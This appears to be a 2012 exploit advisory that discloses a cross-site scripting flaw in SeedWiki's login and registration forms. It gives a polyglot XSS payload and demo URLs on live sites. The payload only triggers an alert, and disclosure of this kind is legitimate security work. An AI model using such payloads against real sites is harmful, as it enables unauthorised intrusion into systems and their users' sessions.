SeedWiki Cross Site Scripting

`# Exploit Title: SeedWiki Cross Site Scripting  
# Date: 8.02.2012  
# Author: Sony  
# Software Link: http://www.seedwiki.com/  
# Web Browser : Mozilla Firefox  
# Blog : http://st2tea.blogspot.com  
# PoC:  
http://st2tea.blogspot.com/2012/02/seedwiki-cross-site-scripting.html  
..................................................................  
  
Well, we have xss in SeedWiki, in the login form or registration form.  
  
Put our xss code :  
  
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>  
  
  
  
in the password or email or what you want and click button enter.  
  
It's a Post Method.  
  
Demo:  
  
http://www.seedwiki.com/account.cfm?return_wiki=seed_wiki&return_page=seed_wiki  
  
http://tinyxp.com/account.cfm?return_wiki=tiny_xp&return_page=tiny_xp  
  
http://4.bp.blogspot.com/-mWTLK7p26XA/TzIaV-h0m7I/AAAAAAAAAb4/_OHC2aR69pU/s1600/seedwiki.JPG  
..................................................................  
  
InSecurity.Ro  
  
Because we care, we're security aware!  
`